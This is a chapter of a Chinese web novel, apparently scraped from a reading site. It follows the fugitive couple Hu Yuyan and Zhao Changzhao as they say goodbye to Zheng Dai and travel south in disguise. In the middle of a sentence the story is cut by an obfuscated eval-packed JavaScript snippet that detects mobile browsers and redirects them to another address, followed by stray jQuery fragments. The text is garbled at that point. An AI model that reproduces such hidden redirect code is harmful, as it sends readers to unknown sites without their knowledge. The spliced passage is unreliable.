73. 秋浦(二)

作品:《暴君与妖妃纪事

    风吹过屋檐,檐下滴落融雪的水珠,砸在地上嗒嗒作响。


    胡玉烟窝在赵长昭怀里,呼吸间带着淡淡的药味。


    夜色从窗纸外缓缓渗进来,外头忽然传来一声轻响,胡玉烟立刻警觉地抬起头,屏息凝神。


    赵长昭臂弯收紧了一瞬,那声响又没有了。


    过了一会儿,胡玉烟才松了力,肩背缓缓垂下来。


    赵长昭握住她的手,贴在自己心口,“我夜里不再惊醒,气能走到肺底。是真的好了,不是哄你。”


    胡玉烟看着他,没有说话,赵长昭又道:“玉烟不会扫地,我也不会洗碗,但是总能学会的……我不在意将来是好是坏,你往哪儿走,我就往哪儿走。”


    胡玉烟明白了他的意思,将额头贴向他的,“我与郑黛有些话要说……”


    赵长昭点点头,朝她笑了一下。


    胡玉烟起身轻手轻脚地下了榻,拿起一盏油灯,又与赵长昭对视了一眼,这才转身出了屋子。


    最冷的那段日子过去了,走廊里夜露微重,灯影拉得很长。胡玉烟站在郑黛的房门外,见里面灯火亮着,低低唤了一声她的名字。


    灯影轻晃了一下,很快传来脚步声,郑黛探头看见是她,面露惊喜。


    “怎么来了?”


    胡玉烟把油灯放到桌上,去牵郑黛的手,“长昭睡了,来与你说说话。”


    郑黛拉着她坐下,边走边道:“我出来这么久了,都有些想元霄了。”她又摸了摸胡玉烟的肚子,“等姐姐的孩子生下来,就有伴了。”


    郑黛的语气越来越轻快,“我方才还在算路程呢,从镇子往南走,避开官道,三四日就能到水路。”


    “我买的那处宅子样样都好,就是远了些,远也有远的好处,赵云晋一时半会儿肯定找不到的。”


    “我们住一段时间,便再往南走,南边暖和,正好养着。”她说着说着,眼睛发亮。


    “还有……”她脸颊泛起一点红晕,“算了,等到了再说吧。”


    胡玉烟听着,没有打断。


    郑黛自顾自地说下去,“你呢?以后想做什么?开个小铺也好,种点地也好。”


    胡玉烟将眼眸垂下,灯影落在她的睫毛上,投下一小片阴影,“我从没来过这样大的一番天地,有好多东西要看、要学。”


    “只是,郑黛……”她轻声开口。


    胡玉烟话还没说完,郑黛立刻止住她,“我知道你要说什么,平平淡淡过一生多无趣,我巴不得多些乐子,你不要觉得连累我。”


    胡玉烟失笑,看着郑黛,“你还小,没真正见过那些血和恨。我不会让你跟着我们受这份惊险。”


    “玉烟。”郑黛站起。


    胡玉烟摇摇头,“没事的,这件事我们以后可以慢慢商量。”


    郑黛的肩沉了沉,上前抱住胡玉烟,“我其实很想我娘亲,可是我出了这么大的事,听说她都不曾出过家门。”


    “我把你当家人的,我已经不怕陛下了……”


    胡玉烟拍着她的背,“我当你是亲妹妹,所以想要你一生顺遂,不要被不幸的人牵连。”


    “你已经有了一个可爱的孩子,日后还会遇到一个真心待你的爱人,一起过着安稳的日子,我一直以来盼望着的日子。”


    郑黛的手臂紧了几分,胡玉烟低声笑了一下,手掌轻轻覆在她肩上:“我们的因果,就交给我们自己承担吧。”


    郑黛沉默了一会儿,眼里闪过一丝不舍,她从腰间解下来一个玉坠子递给胡玉烟,“这是九郎留给我的。”


    胡玉烟怔了怔,眼底泛起涟漪,有点不想去接。


    郑黛道:“这个很早之前……就不再是我的牵挂了。”


    胡玉烟最终还是伸手接过玉坠,“谢谢……”


    郑黛深吸一口气,将手从胡玉烟掌心收回,良久后才用赌气的语气道:“金银财帛,你能带多少带多少,不许客气,日后一定要来看我。”


    胡玉烟唇角微微上扬,却不发声。


    屋内温热与窗外夜凉形成鲜明落差,空气里夹着些淡淡的木炭味。


    赵长昭的眼皮半合着,一直等到床边传来动静才立刻惊醒。灯光映出了胡玉烟的轮廓,赵长昭立刻抚上她的面颊。


    胡玉烟微微俯身,轻声道:“回来了。”


    “决定了?”


    “嗯,决定了。”


    赵长昭的手臂虚虚圈着她,在她发顶轻轻碰了一下,又吻了吻她的额头。


    天光大亮,石板路被露水打湿,凉意透进屋里。


    郑黛揉了揉惺忪的睡眼,醒过神后轻手轻脚走到门口,迎面撞上紫环。


    她已经预料到了什么,问:“他们什么时候走的?”


    紫环答道:“天不亮就离开了,吩咐了不要打扰姑娘。”


    郑黛微微张开唇,却什么也没说,她与胡玉烟昨夜已经道过别了。


    紫环走在她身侧,又道了一句,“姑娘,我们出来了这么些日子,是不是该返程了?”


    郑黛点点头,深吸一口气,把肩上的披帛整理好。小白不知这时候从哪里冒了出来,正在台阶前磨着爪子。


    郑黛一把将小白抱起,拖着它的前爪举得高高的,笑道:“走吧,我们回家。”


    紫环高兴极了,立刻吩咐下人去准备。


    翌日车马启程,郑黛靠在车厢一角,目光随意落在窗外。


    城镇很快被甩在身后。车子一路向南,走得不慢,第三日便到了水路。


    郑黛不想多停。大船换装完毕,载着比来时少了一半的货物顺流而下。


    河面刚解冻,行船尚算平稳,白日赶路,夜里靠岸补给。路上零零碎碎听见消息,说新帝已登基,朝中旧事一概翻过。她听了,只当一阵风,没放在心上。


    第五日傍晚,船车并行,终于回到了南边。


    郑黛下了车,脚踩在熟悉的石板上,心里暖洋洋的。


    暖阁下,一个男子正坐在蒲团上,手里摇着婴儿的摇篮,笑意盈盈地看着熟睡的小婴儿。


    “阿东哥——”郑黛唤他。


    林东抬头,看清是她,先是一怔,随即笑开了。他立刻起身迎过来,顺手接过她的披风,“阿黛回来的比信上写的还要早两日。”


    两人动作小心翼翼,生怕吵醒了熟睡的元霄。


    林东又往她身后看了一眼,略有疑惑:“你的朋友呢?”


    “天下无不散的宴席,他们走别的路了。”郑黛语气随意。


    林东挠了挠头,道:“我特意买了新衣,还跟人学了礼仪,生怕在你朋友面前露怯呢。”


    他握住她的手,替她暖了暖,边走边道:“先进去吧,元霄刚睡下,你也该歇歇了,我去给你煮甜汤。”


    郑黛也笑笑,任林东牵着她往里走。


    风雪停过,河水解冻。


    胡玉烟与赵长昭已走得很远了,他们在山中小住了一些日子,白日随车而行,夜里在客栈歇脚。行到第三个城镇时,换了马车,又换了行装。


    有一回,街口起了骚动,几名官差沿街查看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17083216|183354||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ,口中念着要缉拿逃犯,手里拎着草草画成的画像。


    胡玉烟吓了一跳,看着官兵越来越近,却无处可避。


    她慌极了,岂料官兵根本不多看他们一眼,她才发现画像上画的是个长着络腮胡的圆脸男子。


    胡玉烟失笑,天地之大,真要找到他们谈何容易。


    城镇里正逢集日,街道两侧摆满了摊子,卖药的、卖糖的、补锅修伞的挤在一处,喧闹得很。


    胡玉烟不由得多看了几眼。


    “娘子该做几身新衣了。”那是个卖布的摊子,赵长昭摸了摸一匹浅青色的。


    摊主吆喝道:“相公夫人感情真好。我家是全城最好的布庄,贵客去店里看看吧,就在对面。”


    赵长昭牵着胡玉烟转身往店里去,布庄里各色布料堆叠整齐,散发出淡淡的棉麻气息,掌柜的殷勤迎上。


    赵长昭挑起料子来,不时拿起一匹在她身上比划。


    掌柜捧出一匹绛红色的绸缎,笑道:“这块料子好,夫人肤白,正配这颜色,做件春衫很合适。”


    胡玉烟摸了摸自己有些隆起地腹部,眼中漾开一丝柔和的暖意,道:“那做件春衫吧。”


    “好嘞。”掌柜朝里间裁衣的台子方向做了个请的手势,“夫人这边请,给您量尺寸。”


    胡玉烟正要移步,赵长昭却拉住了她,他手臂虚虚在她腰腹间环了一下,转向掌柜,“不必麻烦了。腰身这里……放宽松两寸便好。其他尺寸,我拿样子给你。”


    掌柜愣了一下,随即恍然,“明白,明白!相公真是体贴入微!”


    胡玉烟有些不好意思,转头对赵长昭道:“我去方才的路口买些糖果。”


    街口比方才热闹些,行人来往,叫卖声断断续续。她正要往糖果摊子走,一眼望见街角阴影处跪着一个八九岁的乞儿,不停地向来往的行人磕头。


    胡玉烟走上前,从袖中取出几枚铜钱,放入前面的破碗中。


    小乞丐连声说着谢谢,胡玉烟没多停留,却在转身之际撞上了一人。


    来人是位上了些年岁的尼姑,她打量了胡玉烟一瞬,合掌低声道:“施主福泽深厚,心有慈悲。”


    胡玉烟合掌回礼,正欲走开。


    尼姑却又叫住她,“施主。”


    胡玉烟愣了愣,尼姑轻声开口,“贫尼擅观相,看施主命途难测,诸事不易平顺。”


    胡玉烟不置可否,礼貌地颔首一笑。


    那尼姑继续道:“然施主至善至诚,又有佛缘相护。可愿回头,随贫尼走一段,断一断旧因。”


    胡玉烟沉默了片刻,反应过来对方的意思,笑笑道:“多谢师父,可我的夫君在等我,我得走了。”


    尼姑淡然一笑,从袖中掏出一枚护身符赠给胡玉烟,合掌低声:“既如此,便祝施主一路平安。”


    胡玉烟合掌回礼,小心将护身符收好,目送着尼姑离开。


    她提着买好的酥糖,沿着街巷回到铺子门口。


    赵长昭正蹲在裁衣台旁,看着店内师傅的活计。胡玉烟把手搭在他的肩上,靠过去,像是把一路风雪都交给了他。


    “买好了?”他问,立刻将注意力转到胡玉烟身上。


    胡玉烟点头,把糖果递到他手里,语气轻轻的:“路上遇见个人,说了句吉利话。”


    赵长昭笑了笑,顺手握住了她的手,两人相视一笑。


    集市依旧喧闹,人声、车马声、吆喝声汇成一片,偶尔有人多看他们一眼,也只当是一对南来北往的寻常夫妻。